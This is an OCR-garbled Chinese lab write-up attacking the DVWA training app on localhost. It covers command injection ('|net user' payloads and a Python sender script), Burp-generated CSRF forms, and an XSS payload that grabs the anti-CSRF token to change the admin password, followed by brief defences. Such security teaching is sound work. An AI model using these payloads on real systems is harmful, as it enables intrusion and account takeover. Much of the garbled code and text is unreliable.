@ localhost/DVWA-1.9/vulnerabilities/exec/#

Instructions
Setup / Reset DB

Brute Force

Ping a device

Enter an IP address: 127.0.0.1/id

uid=0 (wuke) gnd:t\

J LESEEA

mm\\

CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)
XS$ (Stored)

DVWA Security
PHP Info
About

Logout

More Information

PR o S il

EEEANES

Vulnerability: Command Injc X

o TS

<« c @

@ localhost/DVYWA-1.9/vulnerabilities/exec/#

EHraresus € wrre O=mmar Dasss

InND h ® & & =
DeaEss

FEIEE S

|

Home
Instructions
Setup / Reset DB

Brute Force

Vulnerability: Command Injection

Ping a device
Enter an IP address: testcmdinjection|net user

B00ive O

7 LSS
(S )
N

CSRF |

Adninistrator

File Inclusion

File Upload |

Guest \

3EEIANER

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)

XS5 (Stored)

DVWA Security
PHP Info
About

Logout

More Information

IR

c)

FERE RN A BHE 1R A8 5 m AR (9] 2 45 A 15 A0 S PAT i 2 G5 R R AR REAT I W 75
FAEEN IR, BRI 2 S net user MR, EHEWIMNMEIREGOE

administrator
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d) AU Hr

<Fphp

if( isset( $_POST[ " Submit’ ] 1ot
A Get  input
$target = trin($ FEQUEST[ "ig" 1):

/7 Set blacklist
$substitutions = array(
o

[l PSRRI | R EisEd e aEhk

R
o
y :
e
)i

/f Remove awy of the charactars in the wray (blaclilgt).
$target = str_replace( array keys( fewbstitutions ), Jeubstitutions, $target ),

/¢ Determire 05 and execute the ping command.
1f( stristr( phpwame! "5 ), "Windows HI' ) ) {

/7 Windows
fomd = shell exec{ ‘ping . $target )
1
else |
S amix
fomd = shell_exec( “ping —-c 4 7 . Ptarget J:

i

/f Feedhack for the end user
echo  “<pre>{fond} </prer”;
}

UL :
EFRPRINBIEMIBR & 5+ -« S (v ) v s ISR GEREMIBR | 2586, 0 | FEA
TAbEE)

e) H%w Python fHIA R /1 f#
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re
concurrent. futures . thread ThreadPoolExecutor
itertools

requests

addr,
url £i{a]
name = paylozd] ' name"]
pattern = payload[ ‘pattern”]
pld payload[ ‘payloads"]:
parans
“ipt @ pld,
“Submit’ : “Submdt”,
}
response - requests. (url, params,
response. ok

maing
payloads
P

E

“testondinjection|; [net user
dnet user”

»
-1&&net user',

-l&net uzer”, '127.8.8.1|net user’,

datas = itertools
executor Thr
success, name, payload jecti datas]):
SUCCESS:

"security=hipgh; PHPSESSI 91gorbkEd5]dd

[server, headers)

® MIIYEAEH copy Bt 5 1 cookie 15 &

® i python3 IZTJHIA

Ui I«

® i FHZFE ML RN R 2 N K

® [ requests KikiEKE| dvwa, FEIRZCHIITH BEAEANGARISE, EidFEANGw
A PAT 45 FURE RS AT R0 2 75 B iR
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4) BREEW

a) I F A O R A HR SR A ARG ZUHEAT RS BIE
b)  FRIIFAT A& A PEAS, AT 4% BRI PAAT iy &

Q) % web 45 5 B BRI
3. BSIRRINE
1) FWAMR

Wl SR Dy A H B 517 L U 1) DT, ey DT 8 P2 P B AR 55 =05 Wk B shidt

1THRAE

2) MHATHR
firefox | W45, burpsuite
3) W7

A. LOW £ 5|

a) W HE DVWA %4258 Low
b) )23 burpsuite IS0 HE

W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenyz

= e
Burp Project hiruder Repeater Window Help
Dashboard 2oy | ntruner | Repeater | Sequsncer | Decoder | Gomparer | Extonver | Projectoptions | user options |
nicrcept | HTTP higflry | WebSockets history Umna
LIBTProvEliE Ny :
o ~ 3 A 13
@) Proxy Listehefat IPTOXY. hoptionsiEli-= o
{5% Burp Prowy uses listeners to rggive jncoming HITP reuesfs 'ru%grgg wwser. You wil need to configure your Browser to use one o the isteners as s proxy server.
3A,.@-E%RunnmggL¥E
Add Runninggl | interface | mvisble | Redirect | certificate |
(€] 127.0.0.1:8080 Per-host
Edit
Remove >
Each installation of Burp genarates fts own CA certficate that Proxy listeners can use when negotiating SSL connections. You can import or export this certficate for use in other tools or another instalation of Burp.
| import / export CA cerificate | | Regenerate CA certificate |
(?) Intercept Client Requests
£} Use these setlings to conlrol which requests are stalld for viewing and ediing i the Intercep tab.
(@ Intercept requests based on the following rules:
Add Enabled | Operator | Mateh type | Retationship | conation
@ File extension Does not match (*giTSFipgSi pngS cssSPisSiticoS)
Edt (o] or Request Contains parameters.
g o HTTP method Does ot match (getipost)
Remove »
O A URL Is in target scops
up
Down
(J Automatically fix missing or superfiuous new lnes af end of request L
— @ Automaticall update Content-Lenoth header when the resuest is edied L]

c) WH firefox W E#sCEE A 127.0.0.1:8080
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(— - ¢ @ © Firefox  aboutipreferences nohw® 5
Branermas € wrre OyEar Bases QsaEss

REHAERMERSE
EFBHIEREH(Y)

BRSO IBEEW)
@Eﬁﬁéﬁf&&iﬁM

o FmREREM

HTTP £ (X) localhost
AFE MY =R LRSS

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5

d) KM burpsuite $:#%

W Burp Suite Professiona
Burp Project intruder Repeater Window Help

Repoater | Sequencer | Decover | Gomparer | Extendsr | Projctoptions | usar optins |

1 FEREProxy eI+

Forward Drop. Intercept igaft Action Comment this item ¥ Q@

A}

3.mfntercept & Hintercept is of PRZS

>

o_EHEEI
e) ¥ H firefox W Wi &% A AT B Filiid =K
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f)

Vulnerability: Cross Site Req. X

[ T SS——

<« ¢ @
Eyaersus @ sxre Dsmmn [ s

@ localhost/DV)

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection

File Inclusion |

'WA-1.9/vulnerabilities/csrf/

Vulnerability: Cross Site Request Forgery (CSRF)

R +4 inoDh ® s =
DsaEsns

New password:
Confirm new password:

File Upload
Insecure CAPTCHA
$QL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

{5 | burpsuite 31T CSRF X7

—
— lEsEEER

Change | €= ) =5t chanqeli#liEsrES | PHTDTBIER

Change your admin password:

m

More Information

I B St rtesioni 0Tt “Terporay et - aree o e T ==

Burp Project intruder Repeater Window Help

| Fiter: Hiding niwmage and general binary content

Send to Sequancer
Send to Comparer (request)

Send to Comparer (response)

[« Show response in browser
Request in browser
Request | Response o
Raw | Params | Headers | Hex Show new history window
BET DWW x - Add comment
Host localhost Highlight
User-Agent Mozila/s .0 (Andows NT 6.1; WinG4; x84; rv:65.0) Gecko/20100101 Firefox/gs5.0 | Delete tem
Accept: textintmi application/xitml+ml applicationsanl =0, magewebp ;g =0.8 Clear history
Accept-Language: zh-CN,zhy 4=0.8,zh-TWig=01.7 zh-HI 4=0.5 en-US, g=0.3,em g=0 2 Copy URL
Accept-Enceding: gzip, deflate e —
Referer: hitp: flocalhostDVWA-1 Sivunerabiltiesicsr1/
Connection: close Copy links.
Cookie: ; PHPSESSID: 2 Save item

Upgrade-Insecure-Requests: 1

Proxy history documentation

£ afnosf | Method | URL |Params | Edted | Status | Length | MMEiype | Extension | Tee | Comment ENL | cookies

137 :2’//@ calhost GET /DVWA-1 Sivulnerabilties/csrf/ 200 5156 HTML Vulnerability: Cross Site 127.001

138 p://localhost GET IDVWA-1 e v 200 5184 HTML uinerabilty: Cross Sits 127.0.01

. 1.9/vu..d_C hi =Change
Lt =
2.famhhttp hidtoryielii& e
Scan
) e _ ~
3EREXTEIE R , AN B aRcdcdg TR RIS crsl

Send to Repeater Ctri+R

- 4.3%Fengagement tools , F1FFFiEE .

Find references

Discover content
Schedule task

Y-

5.1 generate csrf poc
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W Burp suite ional v20.11bets

Burp Project htruder Repeater Window Help

CSRF PoC generator

Sestbors - Repestr | 52
Intercept | HTTP history | WebSockets histery | Options

Request to: http:/ocalhost

Raw | Params | Headers | Hex

| Fiter: Hiding CSS, image and general binary content

[GET DVWA- i r hange=Change HTTPA 1
Host: localhost

User-agent: Mozila/s 0 (Windows NT 6.1; WIng4; x64; rv:65.0) Gecko/20100101 Firefox/65 0

# 4| Host | Method | URL
137 hip:iocaiost GET )
138 hiipiiocalhost GET

138 hiip/idetectportal frefox.com  GET Jsuc

[ ccept: texthtml applicationix i+l application/m g=0 9 iage webp*%,q=0.8
[ Accept-Language: 2h-CN,zh g=0.5 zh-TAG=0.7 2h-HK;g=0.5 en-USia=0 3 enig=0.2
|Accept-Encoding: ozip, deflate

Referer: rttp:iocalnostDVWA-1 Sivuinerabities/csrif

Connection: close

Cockie:  PHPSESSID 21 F
@ < |l =] = 0 matches.
CSRF HTML:
<htirl= .
|| <t cSRF Foc- generated by Burp Sulte Professional — r
< <body>
<script-history.pushState(", " 'F</script-
BER Rcxponac <form actior -1 Shvulnerabilties fesr ">
<input type testi@E" /sﬁ,_—
il = [ i [ a6 RS
GET DvWAT T <input typ ‘Change" valu
Host localhost <input type="submit" value="Submit request” 1>

User-Agert: Mozillai5.0 (Windows NT &.1; Win64; x64; rv:65 0]
Accept: textintml, application/xhimis-xml applicationsxm;
Accept-Languags: zh-CN2hi=0.8,2h-Tia-!
Accept-Encoding: gzip, deflate

Referer: hitp: HlocalhostDvVA-1 Bivunerabiltiesicsri)
Connection; close

7 2h-HISa=0.5 &

L <trorm=

9jmafj| <body>

Cookie: : PHPSESSID 2t
Upgrade-Insecure-Requests: 1

<frtmi=

0 matches

Regenerate Testinbrowser | | CopyHTML | | Close

L
7.5 test in browseriis

[©)

|sst |e

Cookies.

127.0.0.1
127,001
104.80.89.26

T

\ 25l

T

I Burp Suite Professional v2.0.11beta - Temporary P

Burp Project htruder Repeater Window Help

CSRF PoC generator

0 matches

[Dasnhwd Target | Proxy | intruder | Repeater

Request to: @ Options
ntercept | HTTP history | WebSockes history | Options
il L v | Ot Raw | Params | Headers | Hex
| Fiter: Hiding CS3, mage and general binary content GET DVWA-1 ¥ X hange=Changs HTTRH 1 |®
Host: localhost
| Host | Method | URL | |user-Agent Mozilass 0 (Windows NT 6.1; Win64; x84; rv:65.0) Gecko/20100101 Firefox5 0 nt |sst |® Cookies
niipocalost GET  /Dvw| |Accent: textitm applicationihimi+xml application/ii=0.9,magefwebp 4% q=0.8 127001
b docalhost = |Accept Language: zh.Ch 2hi =D 8 zh.-TW: =0 7,zh HI 4=0 5,en.US; =0 3,enq=0. 2 P
http:/idetectportal firefox. com GET Isuce| [AecertEncading ozip, deflate 104.80.89.26
Referer: fitp:/MocalnostiDVVWA-1 Sivulnerabiftissics s
Comection: close
(Cookie . PHPSESSID 2t ]
@ (<][- P p—— === 0 matches
CSRF HTHL To show this respanse in your browser, copy the URL below and paste into a
browser that is configured to use Burp s s proxy. _
<t 0
< CSAF PoG- genel e 3 >
=% . o w4 8.5hfop 7 =
ssaript>history.pushg| — i T
B iscscos <torm setona ity o] | ) n fture, ust copy the URL and don't show this disbg Close. firefoxT
<input type="ticden
Raw | Params | Headers | Hex “input ype="hident -
(GET LVVYALT ¥ <input type="hicien"” name="Change" value="Change" i~ ]
Host: locaihost <input type="submit" value="Submit request” > 3
User-Agent: Wozilal5.0 (Windows NT 6.1; WinB4; x64; rves0y{ [ <fform=
Accept texthtn applicationihinsxm applicationbanlq=0 8mal | <ody>
Accept-Language: 2h-CN,2hg=0.82h-TWia=0.7 zh-HiS <t
Accept-Encoding: azip, deflate
Referer: htp:localhostDVWA1 Sivuinerabittiesicsril
Connection: close
Cookie: | PHPSESSID: b'
Upgrade-insecurs-Requests: 1 L
@ < - > 0 matches.

— [z ( o [ cose

0 matches

¢ @

MERES @ HEEE

Submit request

@ httpy//burp
=mmn B s

e |

9 AR T S IR I st b

10.s2Esubmit request2ar T BH

42
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8)

h)

LIELE S

Burp Suite Pro Vulnerability: Cross Site Rec. X

<« c @ localhost/DVWA-1.9/vulnerabilities/csrf/?password_n: BE e ety InNED b & & @ =
Eyaersues @ sxre D=mmn [ s [ alEss

)
DR
i Vulnerability: Cross Site Request Forgery (CSRF)

dnstructions | Change your admin password:
Setup / Reset DB

Brute Force

Command Injection Canfirm new password:
File Inclusion | Change
E— | e L

Insecure CAPTCHA |
SQL Injection .
E T More Information
XSS (Reflected) .
XSS (Stored) .

DVWA Security
PHP Info m
About

oot T ) e ogoutiB T | RS RS TS R R A AR

0%23&pas!

New password:

m

> N
INMTFI
<7php
if( isset{ J_GET[ “Change’ ] ) ) |
/7 Get input
fpass_new = $_GET[ ’passwerdnew 1,

fpass_conf = $_GET[ password_conf’ :

/¢ Do the passwords match?

if( fpass_new == $pass_conf ] {
/¢ They do!
$pazs_new = mysql_real escape_string( f$pass_new ).
$pass_new = md5( fpass new )

/¢ TUpdate the database

$insert = “UPDATE ‘users SET password = $pass_new’ WHERE user = °° .  dwwaCurrentlUser(]
fresult = mysql query{ §insert ) or die( “<pre’ . mysgl error(} . < pre’X .

/¢ Feedback for the user

schn "(pre>Passvord Changed. {/pre>”

}
else |

/¢ Tssue with passwords matching

scho "<pre>Passwvords did not match.</pre:”;
}

mysql_close ()

TR

T B O i R 5 = 735 50 1 B A SR T (T B L, 7T DAE R P B RS el
=7k B R A TR

MEDIUM %% 5|

W HE DVWA 22258 Medium
J& 3] burpsuite FEFF /5 A
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Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenyz - e ¥ 1
Burp Project Intruder Repeater Window Help

[ Dasnboars | Taret ntruser | Repeater | Sequsncer | Decoder | Gomparer | Extonver | Projectoptions | user options |
intercept | HTTP higfry | WebSockets history
= D o= _ 0

Q@) Proxy LéeLm\iprox)L%]m ~ _(Iﬁﬁopﬂonsﬂ]ﬁ{
::"8;} Burp Proxy uses \Btenerst?éwe incgming HTTP regues}s fro

gq% wser. You will need o Configure your browser 1o use 0ne of the Isteners as s proxy server
SR RUNNING S e
Add ] Runr\n‘ | iterface | Invisible | Redirect | certficats
@ [127.00.1:8080 Per-host
Edit

Remove >

Each installation of Burp generates fts own CA certificate that Proxy fisteners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another instalation of Burp.

[ Import / export CA certificate. ] [ Regenerate CA certificate ]

(?) Intercept Client Requests
{@} Use these seftings to control which requests are stalled for viewing and editing in the Intercept tab.

(@ intercept requests based on the following rules:

Add ] Ensbled | Operator | Match type Relationship Condtion
@ File extension Does not match (*gifSi"jpgSi*pngSH casSijsSiticas)
Edit o or Request Contains parameters.
O o HTTP method Does not match (getpost)
(Lromove J >
SR URL Is in target scope
ue
Down_|

[ Automatically fix missing or superfuous new lines at end of request

— 1 Automaticall undate Content-Lenath header when the reouest is edited

c) WH firefox W2 CEEA 127.0.0.1:8080

B

<_ - C @ © Firefox  aboutpreferences

nohw® 5@ =
Bxuermss @ wrte B B e

QsaEss

REHAERMERSE
EFBHIEREH(Y)
EFE RS RIS EW)

@Eﬁﬁéﬁf&&iﬁM

o FmREREM

HTTP £ (X) localhost

AFE MY =R LRSS

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5
TENEE(N)

d) %M burpsuite #4185
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I8 8 it Profconl VB TBEE ™ Termprary ioc e 023 -

Burp Project intruder Repeater Window Help

Dashboard | Target | Proxyl intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prmec\nmmnsIUsernmmns]

infercept | HTTP history | WebSocketSistory | Optons

Drop

2RI e ieRRtisRIT

1 FEREProxy eI+

Intercapt aff Action
=
~

3.mfintercept ZtHIntercept is of A7

>

CIESEES)

| 0 matcnes

e) ¥ H firefox I Vi &% A L B Rl =R

[®] Vulnerability: Cross Site Req X

<« ¢ @

® localhost/DVWA-1.9/vulnerabilities/csrf/ BE e o T

Eyaersus @ sxre Dsmmn [ s

f) 3 burpsuite #F4T CSRF Bl

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection

File Inclusion |

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:
P —
Confirm new password: / 1IESZRRER

File Upload
Insecure CAPTCHA
$QL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

Come) €= ; miichangel$lligrEe , JHTZIOEN

More Information

45
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I Burp Suite Professional 201Tbeta - Temporary Project beensed tosurteroz e

Burp Project Itruder Repeater Window Help

Dashboard !Iargel ﬁnxyi truder | Repester | Sequencer | Decoder | Comparer | Extender Prnpmum»ung“wum»nna]

Intercept | HTTR history | WebSock®g history | Options
o

| Filter: Hidin gﬁ;‘ image and general bin awh@p ro:

XYBEIR R

[€]

# a|nZEENttp histOTREE i Params | Edied | Swis | Longih | WNEbype | Extonsion | T T [ss |» T
198 hitp:/ocalhost GET [DVWA-1 Sivuinerabilities/csrfl 200 5165 HTML Vulnerabilty: Cross Site 127.0.01
188 hitp:logalhost GET ] 1.9u...d_ " ~Change HTML Vulnerabilty: Cross Site 127001
Add to scope:
Sean
\ . e =S ruder — |2 Ctri+l
3ERHEREER , El e T T
Send to Sequencer
Send to Comparer (request)
Send to Comparer (response) . \ e
Show response n browser 4 ¥fFengagement tools¥klll , 1T 7
<K Request in browser 7 WG
S e oce Find references
Show new history window D ———
Raw | Params | Headers | Hex ‘Add comment Schedule task
‘GET [DVVWA-1 Siulnerabilties/csri/password_new=passy  Highlight > R D
Host: localhost Delete item r
User-Agent Mozila/5.0 (indows NT 6.1; Wind; x84; rv:65|  Clear history eI,
Accept: text/ntml application/xhtmi+xml applicationfxmi,g=0 9, Copy URL SbL‘]:Fg enera te cs rf poc
Accept-Language: zh-CN,zh; =0 8,zh-TW:gj=0.7 zh-HIS, g 2 1 4
Accept-Encoding: gzip, deflate OpY &s curl comman
Referer: hitp: flocalhost DYWA-1 Sivunerabiltissicsri/ v
Connection: close Save item
Cookie: { PHPSESSID T TrdeeT e B
Upgrade-Insscurs Requests: 1

rch term

0 matches

Burp Project iniruder Repeater Window Help

[Dasnmam Target | Proxy | intruder | Repeater | Seq

[} CSRF PoC generator
g

Intercept | HTTP history. I WebSackets history | Options

Request to: hitp:/ocalost

Raw | Params | Headers
Fiter: Hiding CSS, mage and general binary content @
GET DVWA-1 ¥ ¥ ~Change HTTP/1.1
# 4| Host | Metnod | uRL Host: localhost L Cookies.
1% htpiocahost GET TDVWA-] |User-Agent: Mozilals 0 (Windows NT 6.1; Winéd; x64; r:55.0) Geckol20100101 Firefox/s5.0 127001
199 htpocainost = FONIAL] |ASCEL 1o applcaton X in| SPRICaton X =0.9,Image WeRp I G=0.5 127.001
Accept-Language: zh-CN Zi=0.8 2n-TW,q=0.7 2h-HIS 4=0.5 2n-US;ci=0.3 enie=0.2
Accept-Encoding gzip, deflate
Referer: hitp: MocalhostDVWA-1 Slvuerahiliies/csr il
Connection: close
Cookie: | PHPSESSID: 2 =
@ < . > | |Tyoe & search term 0 matches.
CSRF HTML:
| <him> 0
LA <L CSRF PoC - generated by Burp Suite Frofessional—= r ¥
<body>
Request | Response <script>history.pushState(", ", "F)<lscript>
<form actio A f
=3 =
Raw | Params | Headers <input type="hiddzn" name="passwordS 295 new” value="est@123" »7 6IEMZEER
GET DA <input type="hidden' name="password&#95,conf” value="test@123" > T
Host localhost "Changs" valu: r

User-Agant: Mozillals 0 (Windows NT 6.1; WinG4; %64; rv'65 0) Gal
Accept: textitl applcation/xHmlexml applicationixmt g=0 9 imagel
Accept-Language: zh-CN,zh;q=0.8,zh-Tq=0 7 zh-HIGq=0.5 en|
Accept-Enceding: gzip, deflate

Referer: hitp:/localhostDViVA-1 Sivunerabiitissicsrt/
Connection close

Cookie:

|| <inputtype="submit" value="Submt request’ />
| <foms

|| <hbody>

<Mhimi>

 PHPSESSID: i
Upgrade-Insecure-Requests: 1

7. copyhtm BZERER I SRR T b R dv B 19

e

<7

rch term

e LG
Regenerate

Test n browser Copy HTWL Close.

0 matches

arch term

®_ <)) G [

0 matches

venv
brute force_high.py

brute forcs low.py
brute_force_medium.py
command_injection_high.py

command._injection low.py

il fal fal fad Fal dl

command _injection_medium.py

| passwordaat

LULYL]LL ISLL R

2019/2/12 17:37 Python File 2KB
2019/2/12 14:53 Python File 2KB
2019/2/12 15:23 Python File 2KB
2019/2/13 18:48 Python File 2KB
2019/2/13 17:35 Python File 2KB
2019/2/13 17:35 Python File 2 KB

(&

| user.txt

HARiAS T \codes\localhost.html - E

itPlus.

€ Ighalhost.himl

/ FEle Edit View Search Document Project Jools Browser Emmet Window Help

S @8 Y ) & B

Hx|9C e te B 4] A s WEE)G

(Ef=RETTY

@B 7 UA

b o Y H|@E =200
T 1 ¥ n

we il | Mavse |y B A @8R

Di

8. SRS A

rectory | Clipt| ¢

T '
<html>

<body>

Rei
»

=]

L Silence & <input type="hidden”

<input type="hidden"
<input type="hidden"
<input type="submit"
</form>
</body>
</html>

~4DnstrraCOl mmar &

46

<script>/*history.pushState(*’, ', '/')*/|k/script>,
<form action="http://localhost/DVA-1.9/vulnerabilities/csré/"> 34 @ :
“passwords#95;new” value="password” fi%ﬁhlstory.pushState
"passworda#ds; conf” value="password" & J— /(1
* value="Change" /> Jz 171883
value="Submit request” />

I-- CSRF PoC - generated by Burp Suite Professional --»

pa o~
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~codes>
~codes»python —m http.server
TP on B.8.8.8 port 8888 <(http:/-B.0.8.0-0800-> ...

1 1999/ 10.65.13.160:8000/localhosthtr X .

< ¢ o 10.65.13.160:8 calhost.htm O Y
Baersss @ #xrs Eeamt B s

| Submit request | “--_
11.5585submit request , &I 1037 A A

g) iraR

=nan!

10.65.13.160:9999/ nerability: X . oo
< ¢ @ localhost, 1.9/vulnerabilities/csrf/2password_new=passwor B e o Y o ® e =
Eyaersus @ sxre Dsmmn [ s [ rakEsE

Deprecated: Function eregi() is deprecated in D:\php Study\PHP Tutorial \WWW\V\DVWA-1.9\vulnerabilities\cs iisourcelmedium.php on line 5

)
D\@#A)
o Vulnerability: Cross Site Request Forgery (CSRF)

nstructions | Change your admin password:
Setup / Reset DB

(BruteForee |
Command Injection Confirm new password

New password

File Inclusion | [Change | R e
i 1LEGHAENEIRER
File Upload Pasovord Changed, da— R RS
Insecure CAPTCHA |

SQL Injection .
T More Information
XSS (Reflected) N

XSS (Stored) o

DVWA Security
PHP Info
About

— - "=
S D R, SRR , MRS —n

—

h) RS HT

47
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<?php

if( isset( $_GET[ "Change” 1 3 3 |
/f Thecks to see where the request came from

if ( eregil $_SERVER[ ~SERVER_NAME' 1, $_SERVER[ "HTTP_REFERER" ] ) {g__“
A Get  input 3% 2 (=B yhErsziEms: /_‘A.g =tz
Spassnew = $GET[ passwordnew 1 Bl referers S RRBIKIBHTIOE , KR
fpass_conf = $GET[ password_conf’ ], AR b i b
/¢ Do the passwords match?
if ( fpass_new == Jpass_conf ) {
A They dol
$pass_new = mysql_real_sscaps_string( f$pass_new )
fpass_new = ndS( Jpass_new ).

// Update the database
$insert = “UPDATE 'users' SEl password = $pass_new’ WHERE user = " . dvwalurzremtUser()
$result = mysql_query( $insert ) or diel “<prer’ . mysgl_error(} . "<fprer’ ).

// Feedback for the user
echo “<preXPassword Chenged. </pre>”:

elss {
// Issue with passwords matching
echo “<predPasswords did not match. </pre>”

i
else {

f/ Didn’t come from a trusted source

scho “<pre>That request didn't look correct.</pre>":
i

myzql_closel)
1

kd

L

FERESRRIEAE A http referrer Skf5 SHHMTINE, (HEMEZEAAERZ, REZHEN

7 referer RIS S HK, BERBIRT), 705%0K
HIGH 2% 5

T E DVWA “Z 42 5124 High
1 1y [ S5 80 XSS 523 CSRF My
® S hHE xss I FH

payload: <img src="" onerror="alert(/xss/)"/>

—
D\@#R)
o Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup / Reset DB What's your name? <img enerror="alert(/xss/)" src:"‘“ﬂ> \

_Command injection | More Information 248 5xss payload
e
SQL Injection

XS$ (Stored)

DVWA Security
PHP Info
About

Logout

2R SubmitR A T

R

| 4EEXSS(Reflected) REMEXSS

Whi\ity:Reﬂec(ede x ‘ - —— 2 LEHAS W@ RIX v
&« ¢ @® localhost/DVWA-1.9/vulnerabilities/xss_r/ B e e 1Y D h ® 4@ =
BuamEmas @ wFis D=snn e OaEBE

>

I
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=rar
+ Vulnerability: Reflected Cro- X . .
-:(—‘% X @ @® localhost/DVWA-1.9/vulnerabilities/xss_r/2name= <img+onerror%3D " alert(%2Fxss%2F)" +srct B2 e 1Y NGOG ® & @ =

sEss @ weke BsaRe B sses [ maenE

&8l localhost

® i A XSS SREUE MU LK B user_token
payload: <iframe src="../csrf/"
onload="alert(frames[0].document.getElementsByName('user_token')[0].value)"></ifra
me>

+ Vulnerability: Reflected Cro= X

Jre—— —

-f(—x‘% X @ @® localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<iframe+src%3D".%2F csrf%2F" +onload%:3 B Wy noh ® 5 =
Bxameses @ wrie Seann B OBaEss

81222ae7d26c12f73b8116d004995a31

Efllocalhost -

® I SHE XSS H IR A B A

payload: <iframe src="../csrf" onload="var

t=frames[0].document.getElementsByName('user_token')[0].value,x=new
XMLHttpRequest();x.open('GET',
'../csrf/?password_new=test123&password_conf=test123&Change=Change&user_toke
n="+t, null);x.send()"></iframe>

KA TR
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22..%2Fc
srf%22+onload%3D%22var+t%3Dframes%5B0%5D.document.getElementsByName%28
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%27user_token%27%29%5B0%5D.value%2Cx%3Dnew+XMLHttpRequest%28%29%3Bx.
0pen%28%27GET%27%2C+%27..%2Fcsrf%2F%3Fpassword_new%3Dtest123%26passw
ord_conf%3Dtest123%26Change%3DChange%26user_token%3D%27%2Bt%2C+null%2
9%3Bx.send%28%29%22%3E%3C%2Fiframe%3E#

test123 NIEKUEH MY

1B Vulnerabilty: Reflcted Cro: X | — e ——————— e
&« ¢ @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/ BE e o Y InND & @ & @ E_
BvanEsss @ wErs ssEn [0 ssss 0emEns
N ol
o) |

i Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup / Reset DB What's your name? +t, null):x send()"></iframe> D

Brute Force

RdsubmitiREHIRAZINE

Command Injection More Information Ligi\payload
CSRF .
Flln lnatininn ] *
H =2 O=fs DESE (ateEs Ceg OrF - HE STE  ZESHRS @ Hackear g1 - %
w i URL 1 EE AL css s XHR T BB B ws Hg  [1SES [SEEF  FORS HAR:
wE mE E i BEE ] = ESN BtialEe

 BETEOMER , & BFEA HAELSEFEONERNER.

cmE @ O RETFRMEST. @

@_\ RaEEk

orifras

] Vulnerability: Reflected Cro= X o
<« c @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/?name= <iframe-+src%3D"..%2Fcsrf" +onload% B e e ¥y IND B ® & @ =
Byuemas @ srte Bsmar Bssss D@aetes
)
Home Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
Setup / Reset DB What's your name?
Brute Force B
Command Injection ||
CSRF
[ P T 1 v
@ DEss Daslse O@ERs (uansss CGus GAr = fAs 8 #E T Essds @ Haddar O 0] x
o i URL I HIML €SS J5 XHR =tf [ mix ws Hi [=sas [z@ss  T5ES HARS
i i fs SRR =] & + Bl EEs Cookie BN P HT  HEEEE
GET @ localhost ma.. stylesheet css BEE 393 New password: -
GET @ localhost dv... script is =t 775
GET @ localhost [ fav... img xicon BEE 137 | Confirm new password:
GET @ localhost [ log... img png BEE 493
381 GET @ localhost TR o =5 481 - N g _ f|
GET @ localhost bdocum... html 512 K8 51| (uEhanges] / 3.miiEkur] | IR | EEERERPERR L3
GET @ localhost heet EEE 93| | Paceunrd Chansed
localhost/DVWA-1 ilities/csri/? d_new=test123&
GET @ localhost | P J = 7 =
e . assword_conf=test123&Change=Change& .
k%‘}t@lﬁi&_@ﬁg a}hﬁ.‘ ser_token=8471e1b0763483f45205515bd3a91a33 on

localhost x htmi 515KB 4548 [ T |

g_\ 1R BIEE4015KB/1567KE | FW-1S1# DOMContentloaded: 52558  load 184 ® ‘hﬂmzlil\:vww owasn.ora/index.nhn/Cross-Site Reauest Foraerv
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d)

a)
b)
c)
d)
e)

8] Vulnerability: Reflected Cro: X - T ez .||
&« G o ® localhost/DVWA-1.9/vulnerabilities/xss_r/?name= <iframe-+src%3D" . %2F csrf™ +onload% BRE e o 1Y IND B ® & @ =

Eyaeres @ Fxre Dsmmn [ s s

Vulnerability: Reflected Cross Site Scripting (XSS)

Home
Instructions
Setup / Reset DB

Brute Force

Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

$QL Injection (Blind)
XS5 Reflected) |

XSS (Stored)

DVWA Security
PHP Info
About

Logout

O s

What

Hello [

's your name?

Home | Vi
T

More

Information

Al midilogoutiBHER | RERIREIIIH TEER | WP SR

E
4

ARt

if( dsset( $GET[ "Chamge’ 1 ) ) |
£ Check Anti-C3RF  token
checkToken({ §_FEQUEST[ “user_token’ 1,

A Get  input
fpass_new =
Spass_conf =

$ GET[ “password new’ 1.
$ GET[ ’password cond” 1.

// Do the passwords match?

if( fpass new == fpass_camf ) |
/f They dal
fpass new = mysql_real escape_string(

fpass new = mdS( Jpass_new ).

// TUpdate the database
$insert = "UPDATE ‘users

// Feedback for the user
echo
1

else |

/¢ Tssue with passwords matching
"<pre>Passwords did not match </pre>’:

echo
i

mysql_close ()
i

/f Generate Anti-CSRF  token
generat eSessionToken ()

ke

LR

"<pre’Password Changed. </pre>":

§_SESSIONL

Tzession_token’ 1, 7 index. php’

PO sl R TR L token i

Jpass rew ],

= SET password =
fresult = mysql_query( finsert ) or diel <prer .

fpass_rew WHERE user = °° . dwwalwremtUser( . "7
my=ql_errort) . <prer’ 1

BEXHE R ZEATBENL token S6AIE, 75 ZAE B xss i L IR TR A

4) BEEW

X FAS e A5 it R BB A A A pOST 73k, TR i@ ik pOST J7 2UistEN

W INBENL token FBH csrf Bldi

KHFEAE I KRBT referer B0E, U RIEK referer 4 41LL http(s)://host:port/FT3k
B s, 75 Bl N\ 5 A3 AT I8k

AN IS AERS HEAT H P A
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4. XHEEF
1) FIRABER

SO R N R FE I S R/ Ae) AT RA I P S5 B, AT 3808

